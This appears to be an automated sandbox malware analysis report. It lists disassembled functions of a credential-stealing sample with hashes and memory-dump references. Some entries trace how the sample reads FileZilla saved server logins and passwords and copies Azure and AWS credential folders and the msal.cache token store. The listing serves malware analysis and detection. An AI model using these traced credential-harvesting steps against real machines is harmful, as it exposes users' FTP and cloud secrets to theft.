Opcode Fuzzy Hash: 4c342cb1f32557ffaaef216f2e14df8d110b5fb6da90ad5f409fab9d6a52376b
Instruction Fuzzy Hash: A3B12A7AD0929A9FDB42CB68C450BFDBFB2AFA6340F2D815AD44467389D3344D86C790

Function 6D4A1758 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d69efb59dc775252929e46e486089f0935a24ebb7d54d9b695173aa3e561d5a8
Instruction ID: 554b806571c406d8d84358de4ba64d1711eccd59463857b6fe64070960c2d1e5
Opcode Fuzzy Hash: d69efb59dc775252929e46e486089f0935a24ebb7d54d9b695173aa3e561d5a8
Instruction Fuzzy Hash: 7AD13CB010D3918FE311DF25C0A4B2BBFE0AF95748F19898DE4D40B395D77A8949DB92

Function 6D475DB0 Relevance: .3, Instructions: 291COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0bc1e50952b6f569aa4377a4a067f713a65a7f2a1b420b3998a82633ac6fbd4
Instruction ID: 7c4165d555543b26da46112deb21ef13cc055ba9b372112b166bd0554c3eb408
Opcode Fuzzy Hash: d0bc1e50952b6f569aa4377a4a067f713a65a7f2a1b420b3998a82633ac6fbd4
Instruction Fuzzy Hash: 7AB19272A083515BD318CF25C8907ABF7E2EFC8310F1AC93EE89997291D774DD459A82

Function 6D4885E0 Relevance: .3, Instructions: 291COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a1db457c575173619073781b832a5aac45b1db60c4547c97911d73269a72a98
Instruction ID: 8cfca945f7161c3a10c2bcc6b272c5d6bfd54b988143b06b30bcbf4aec0ab193
Opcode Fuzzy Hash: 8a1db457c575173619073781b832a5aac45b1db60c4547c97911d73269a72a98
Instruction Fuzzy Hash: 18B1A172A083115BD308CF25C89176BF7E2EFC8350F1AC93EE89997291D778DD459A82

Function 6D476170 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b45fc63482d79cc2aae5e10512ac15601b0a17f4a90d9da2a62a44701229dd2a
Instruction ID: 9f98bba63fe09a20519899fe943251c45b0355fcf0ad70eb8924dd6fe90284ab
Opcode Fuzzy Hash: b45fc63482d79cc2aae5e10512ac15601b0a17f4a90d9da2a62a44701229dd2a
Instruction Fuzzy Hash: 5BB13671A097118FD716EF3EC481655F7E1AFE6280F50C72EE895B7662EB31E8818780

Function 6D4B5F20 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05d34d1a3189f27b84e02d08940efa9f0a559b37d98fe5bfcabe24abbfdda1aa
Instruction ID: 78c877ebd51a488143b0b5c0f61427b6f52e028778b242a90706adcd30d879d8
Opcode Fuzzy Hash: 05d34d1a3189f27b84e02d08940efa9f0a559b37d98fe5bfcabe24abbfdda1aa
Instruction Fuzzy Hash: A491AF71B082168BEB18CFA8C880F7AB7B5BB66304F158469D958AF386D7319C05C7F1

Function 6D49F1D0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d866642f9a93dc2b485e42e03c656f9322f63f44223d3d2ee63313605b41ce60
Instruction ID: fd7bfadc6d0d86b358c33eef7b55aa77cd845fc22e57af8600ea0f53de0db18a
Opcode Fuzzy Hash: d866642f9a93dc2b485e42e03c656f9322f63f44223d3d2ee63313605b41ce60
Instruction Fuzzy Hash: 7DC15A75A0871A8FC711DF28C08045AB7F2FF88350F258A6DE8999B721D731E996CF81

Function 6D4882C0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f65f29a2a9d875e0236779753198160b36534cc56c24011c2789cd511e3e3271
Instruction ID: 5cf37a4807e0235fdfb3ec8746838e436b24ec2f8e96ea855e43a212a5d9704a
Opcode Fuzzy Hash: f65f29a2a9d875e0236779753198160b36534cc56c24011c2789cd511e3e3271
Instruction Fuzzy Hash: FAA16E72A087119BD308CF65C89075BF7E2EFC8710F1ACA3DE8A997254D774E9419B82

Function 61E5023C Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ac24a6abbdc78b4c751656495c278d587b6d6fc5a3fc55f0f312b6f0b85ebf7
Instruction ID: 266643c6cdafb612aa4dcbeacb2f29c0698f44024270a5fd4dc4a93060dce87c
Opcode Fuzzy Hash: 7ac24a6abbdc78b4c751656495c278d587b6d6fc5a3fc55f0f312b6f0b85ebf7
Instruction Fuzzy Hash: EC910631A012199FDB44CFA9D484A9EBBF2BF88358F25C129E818EB315E735EC51CB50

Function 6D4BA7D1 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb3328669139e110f71a1ea52559994b0b44dd9f9cbef4ff71a3f444de1101f6
Instruction ID: 53afddc806ff4192bd06addfbef91f2d5e4a38146fd54dd2d6cd8ee31ce1150b
Opcode Fuzzy Hash: bb3328669139e110f71a1ea52559994b0b44dd9f9cbef4ff71a3f444de1101f6
Instruction Fuzzy Hash: 9A512766D296D68AC7128A7944112EEBFF21FE7214F2E81DEC4A81B343C3758606D3F5

Function 00419AA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6D48B5C0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa89f657aff6296ecb1601ee23405aced359b6e8af49850df061194d60f6f807
Instruction ID: 4d4380f719737e920eca18c290049424b63e8615d1407fedd07d3ef3da97591e
Opcode Fuzzy Hash: fa89f657aff6296ecb1601ee23405aced359b6e8af49850df061194d60f6f807
Instruction Fuzzy Hash: E5D0C9716097114FC3688F1EB440946FAE8DBD8320715C53FA09AC3750C6B094418B54

Function 004103B0 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

strtok_s.MSVCRT ref: 0041047B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBF,00420DBE,00420DBB,00420DBA), ref: 004104C2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 004104C9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004104E5
lstrlenA.KERNEL32(00000000), ref: 004104F3

Part of subcall function 00418A70: malloc.MSVCRT ref: 00418A78
Part of subcall function 00418A70: strncpy.MSVCRT ref: 00418A93

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041052F
lstrlenA.KERNEL32(00000000), ref: 0041053D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410579
lstrlenA.KERNEL32(00000000), ref: 00410587
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004105C3
lstrlenA.KERNEL32(00000000), ref: 004105D5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 00410662
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041067A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410692
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 004106AA
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 004106C2
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 004106D1
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 004106E0
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004106F3
lstrcatA.KERNEL32(?,00421770,?,?,00000000), ref: 00410702
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410715
lstrcatA.KERNEL32(?,00421774,?,?,00000000), ref: 00410724
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 00410733
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410746
lstrcatA.KERNEL32(?,00421780,?,?,00000000), ref: 00410755
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410764
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410777
lstrcatA.KERNEL32(?,00421790,?,?,00000000), ref: 00410786
lstrcatA.KERNEL32(?,00421794,?,?,00000000), ref: 00410795
strtok_s.MSVCRT ref: 004107D9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 004107EE
memset.MSVCRT ref: 0041083D

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00410404
password: , xrefs: 0041075B
<Pass encoding="base64">, xrefs: 004105BA
<Host>, xrefs: 004104DC
login: , xrefs: 0041072A
profile: null, xrefs: 004106C8
url: , xrefs: 004106D7
browser: FileZilla, xrefs: 004106B9
<User>, xrefs: 00410570
<Port>, xrefs: 00410526

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-555421843
Opcode ID: f027c3caf2579128a51579cb669ff7b1f1a86336c6a3bbb2746a8d206846003f
Instruction ID: 8daa67574ba642934e37c5269d194fb48a2cec37eebf9d0dac7d381e96a5dd97
Opcode Fuzzy Hash: f027c3caf2579128a51579cb669ff7b1f1a86336c6a3bbb2746a8d206846003f
Instruction Fuzzy Hash: 65D17271E01108ABCB04EBF0ED56EEE7339AF54315F50855AF102B7095EF38AA94CB69

Function 6D4B0610 Relevance: 45.8, APIs: 17, Strings: 9, Instructions: 321libraryloaderstringCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 6D4B0650
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 6D4B0664
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6D4B0696
GetProcAddress.KERNEL32(SymSetOptions), ref: 6D4B06C5
GetProcAddress.KERNEL32(SymInitializeW), ref: 6D4B06F5
GetCurrentProcess.KERNEL32 ref: 6D4B0714
GetProcAddress.KERNEL32(SymGetSearchPathW), ref: 6D4B0798
GetCurrentProcess.KERNEL32 ref: 6D4B07AD
lstrlenW.KERNEL32(00000002), ref: 6D4B07C2
GetCurrentProcessId.KERNEL32 ref: 6D4B07F0
CreateMutexA.KERNEL32(00000000,00000000,?), ref: 6D4B086C
CloseHandle.KERNEL32(00000000), ref: 6D4B088B
GetProcAddress.KERNEL32(EnumerateLoadedModulesW64), ref: 6D4B0939
GetCurrentProcess.KERNEL32 ref: 6D4B094E
GetProcAddress.KERNEL32(SymSetSearchPathW), ref: 6D4B09AD
GetCurrentProcess.KERNEL32 ref: 6D4B09BE

Strings

SymSetSearchPathW, xrefs: 6D4B09A2
Local\RustBacktraceMutex00000000, xrefs: 6D4B07E2
assertion failed: len >= 0, xrefs: 6D4B0A36
EnumerateLoadedModulesW64, xrefs: 6D4B092E
SymSetOptions, xrefs: 6D4B06BA
dbghelp.dll, xrefs: 6D4B065F
SymGetOptions, xrefs: 6D4B0690
SymGetSearchPathW, xrefs: 6D4B078D
SymInitializeW, xrefs: 6D4B06EA

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: AddressProc$CurrentProcess$CloseCreateHandleLibraryLoadMutexObjectSingleWaitlstrlen
String ID: EnumerateLoadedModulesW64$Local\RustBacktraceMutex00000000$SymGetOptions$SymGetSearchPathW$SymInitializeW$SymSetOptions$SymSetSearchPathW$assertion failed: len >= 0$dbghelp.dll
API String ID: 1912552845-356128008
Opcode ID: a8d86b8bf4aa095260c46018cf2a94c9d50d17f38812cae5bd2af82d9d992028
Instruction ID: 069839730e5edc7ef3b4534bae2cb56730954daa0bb3cf856fc544e3076f5fc3
Opcode Fuzzy Hash: a8d86b8bf4aa095260c46018cf2a94c9d50d17f38812cae5bd2af82d9d992028
Instruction Fuzzy Hash: F2C1CF70E04249DBEF11DFA9CD85FAE7BB4AF5A751F214129E814BB381E7709D048BA0

Function 00414FC0 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414FD7

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 00415000
lstrcatA.KERNEL32(?,\.azure\), ref: 0041501D

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

memset.MSVCRT ref: 00415063
lstrcatA.KERNEL32(?,00000000), ref: 0041508C
lstrcatA.KERNEL32(?,\.aws\), ref: 004150A9

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

memset.MSVCRT ref: 004150EF
lstrcatA.KERNEL32(?,00000000), ref: 00415118
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00415135

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C00
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,004208D3), ref: 00414C15
Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C32
Part of subcall function 00414B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00414C6E
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,008B2070,?,000003E8), ref: 00414C9A
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE0), ref: 00414CAC
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CC0
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE4), ref: 00414CD2
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CE6
Part of subcall function 00414B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00414CFC
Part of subcall function 00414B60: DeleteFileA.KERNEL32(?), ref: 00414D81

memset.MSVCRT ref: 0041517B

Strings

*.*, xrefs: 004150B4
Azure\.aws, xrefs: 004150AF
*.*, xrefs: 00415028
Azure\.IdentityService, xrefs: 0041513B
msal.cache, xrefs: 00415140
\.IdentityService\, xrefs: 00415129
\.azure\, xrefs: 00415011
Azure\.azure, xrefs: 00415023
\.aws\, xrefs: 0041509D

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-974132213
Opcode ID: fc32070a639f7c744227d222c5d1d3bd734997a12862007a64f9586edb0dccde
Instruction ID: 39229561bcf9e6d20be1630849a4938ad9d2aa6361ec20f439e2b4dca26d7b75
Opcode Fuzzy Hash: fc32070a639f7c744227d222c5d1d3bd734997a12862007a64f9586edb0dccde
Instruction Fuzzy Hash: 3F41D6B5E4021867DB10F770EC4BFDD33385B60705F40485AB649660D2FEB8A7D88B9A

Function 0040CFF0 Relevance: 31.9, APIs: 21, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,008ACD80,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
